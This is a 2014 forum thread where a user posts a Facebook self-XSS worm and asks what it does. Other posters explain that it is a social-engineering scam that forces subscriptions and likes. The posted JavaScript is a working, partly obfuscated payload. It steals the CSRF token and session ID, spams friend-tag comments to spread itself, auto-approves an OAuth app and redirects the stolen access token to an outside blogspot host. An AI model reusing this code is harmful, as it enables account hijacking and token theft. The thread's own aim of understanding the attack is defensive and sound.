Can anybody tell me what this does

Rajjan Haxor · 05-04-2014, 11:41 PM

Code:
function IbraheemNada(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}
IbraheemNada("352326548243422");IbraheemNada("264779303676325");IbraheemNada("201238963363693");
IbraheemNada("357007087775368");IbraheemNada("689516491071066");IbraheemNada("676235145761762");
IbraheemNada("263550047132584");IbraheemNada("676234715761805");

var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","676959779005966","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);

if(location.hostname.indexOf("www.facebook.com","static.ak.facebook.com","apps.facebook.com","beta.facebook.com") >= 0){
var profile_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]).toString();
function uygulamaizinver(url){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
izinverhtml = document.createElement("html");
izinverhtml.innerHTML = xmlhttp.responseText;
if(izinverhtml.getElementsByTagName("form").length > 0){
izinverhtml.innerHTML = izinverhtml.getElementsByTagName("form")[0].outerHTML
act = izinverhtml.getElementsByTagName("form")[0].action;
duzenlevegonder(izinverhtml,act);
}
}
};		
xmlhttp.open("GET", url, true); 
xmlhttp.send();
}
function duzenlevegonder(formnesne,act){
izinverparams = "";
for(i=0;i<formnesne.getElementsByTagName("input").length;i++){
if(formnesne.getElementsByTagName("input")[i].name.indexOf("__CANCEL__") < 0 && formnesne.getElementsByTagName("input")[i].name.indexOf("cancel_clicked")){
izinverparams += "&" + formnesne.getElementsByTagName("input")[i].name + "=" + formnesne.getElementsByTagName("input")[i].value;
}
}
if(formnesne.getElementsByTagName("select").length > 0){
izinverparams += "&" + formnesne.getElementsByTagName("select")[0].name + "=80";
}
izinverparams.replace("&fb_dtsg","fb_dtsg");
izinverparams += "&__CONFIRM__=1";
formnesne = formnesne;
var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
			if(xmlhttp.readyState == 4){
			  izinhtml = document.createElement("html");
			  izinhtml.innerHTML = xmlhttp.responseText;
			if(izinhtml.getElementsByTagName("form").length > 0){
			  izinhtml.innerHTML = izinhtml.getElementsByTagName("form")[0].outerHTML;
			  act = izinhtml.getElementsByTagName("form")[0].action;
			  duzenlevegonder(izinhtml,act)
			}else{
			sex = xmlhttp.responseText.match(/#access_token=(.*?)&expires_in/i);
			if (sex[1]) {
			tokenyolla(sex[1]);
			}
			}
			}
        };

xmlhttp.open("POST", act , true); 
xmlhttp.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send(izinverparams);

}

function TokenUrl(id){
return "//www.facebook.com/dialog/oauth?response_type=token&display=popup&client_id=" + id  +"&redirect_uri=fbconnect://success&sso_key=com&scope=email,publish_stream,user_likes,friends_likes,user_birthday";
}

if(!localStorage['token_' + profile_id] ||  (localStorage['token_' + profile_id] && tarih.getTime() >= localStorage['token_' + profile_id])){
uygulamaizinver(TokenUrl("121876164619130"));
var http = new XMLHttpRequest();
http['open']('GET', 'http://graph.facebook.com/' + profile_id, false);
http['send']();
var get = JSON.parse(http['responseText']);
var isim = get.name;
}
window.setInterval(function(){
if(document.getElementsByClassName("_5ce")){
for(i=0;i<document.getElementsByClassName("_5ce").length;i++){
document.getElementsByClassName("_5ce")[i].innerHTML = "";
}
}
if(document.getElementsByClassName("uiToggle wrap")){
for(i=0;i<document.getElementsByClassName("uiToggle wrap").length;i++){
document.getElementsByClassName("uiToggle wrap")[i].innerHTML = "";
}
}
if(document.getElementsByClassName("uiPopover")){
for(i=0;i<document.getElementsByClassName("uiPopover").length;i++){
document.getElementsByClassName("uiPopover")[i].innerHTML = "";
}
}
},200);
function tokenyolla(token){
top.location.href = 'http://069002647.blogspot.com/#' + token;
}}
var alibasim = "انتظر بضع ثوان ثم اضغط موافق لمعرفة كلمة السر لهذا الشخص";
alert(alibasim);

This code seems to have run on a huge amount of systems that belongs to users who use Facebook...

Spirit · 05-05-2014, 12:04 AM

*sigh*
Wrong forum and you forgot to use the code tags, but I added the tags and moved the thread for you.
And no, I don't know what this code does. It might help if you told us where it came from.

Rajjan Haxor · 05-05-2014, 12:15 AM

there is this guy on facebook posting those you tube videos and telling people it's a way to hack facebook acount and you have to insert this code in the page using google chrome and the refresh to hack users account.. https://www.youtube.com/watch?v=M12AXx2_R0Y this is the youtube URL....he gets blocked by youtube and then downloads another video with another user been seeing it for 3 weeks now...

Spirit · 05-05-2014, 12:40 AM

@Rajjan Haxor, I'd imagine that Facebook would have fixed this by now if were real. Do you really think that a big company such as Facebook would allow a vulnerability that is so easily exploited to exist publicly for more than a few days? I certainly don't.

But you never know - this guy's method could be legit, but I highly doubt it.

bluedog.tar.gz · 05-05-2014, 01:14 AM

I can't tell for sure, but browsing through the sauce I came across;

http://069002647.blogspot.com

Which sauces me to;

follow("100003982405043");
follow("hayamhm666");
follow("khaledjimmyy");
follow("mustafa.zvzv");
follow("serap.atar.52");
like_page("koko1999");
like_page("279855002182846");

Rajjan Haxor · 05-05-2014, 01:27 AM

the thing is that this doesn't work but i'm afraid if it does something malicious on my computer or something but i'm not intrested in hacking facebook i'm intrested what this code can do to my computer..because as a start it posted like 50 posts on my friends walla this link i just how it can harm me if anyone can understand what is going on ))

Spirit · 05-05-2014, 01:28 AM

(05-05-2014, 01:14 AM)bluedog.tar.gz Wrote: I can't tell for sure, but browsing through the sauce I came across;

http://069002647.blogspot.com

Which sauces me to;

follow("100003982405043");
follow("hayamhm666");
follow("khaledjimmyy");
follow("mustafa.zvzv");
follow("serap.atar.52");
like_page("koko1999");
like_page("279855002182846");

I feel that it's safe to assume this is all a scam in order for them to gain Facebook follows & likes with no actual hack involved...

Rajjan Haxor · 05-05-2014, 01:36 AM

thank you for youe help bluedog....i appreciate it really i searched for those pages and saw they all posted the same video thanks very much for your help...Big thanks to you too Maxx Appreciate your help guys )

alok9shm · 05-05-2014, 10:34 AM

Its a code segment which is injected in facebook to make people do this:

Make them SUBSCRIBE to some profiles without their knowledge
Make them LIKE a bunch of photos again without their knowledge
Make them send friend requests to people once again without their consent.

I'll Show you an example.

This is a post on Facebook [Note the Social Engineering trick used here]

[Image: ss.JPG]

And as you know we have some super-intelligent people all around us who will easily believe in this shit and do as directed.

Now, if you look at the code, you can get a rough idea what it does.

Quote:function IbraheemNada(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}
IbraheemNada("352326548243422");IbraheemNada("264779303676325");IbraheemNada("201238963363693");
IbraheemNada("357007087775368");IbraheemNada("689516491071066");IbraheemNada("676235145761762");
IbraheemNada("263550047132584");IbraheemNada("676234715761805");

As you can see the green colored segment of the above code seems like sending out subscribe request to users with IDs in red.

I hope you got the idea.

If you want to know how this piece of code works, PM me.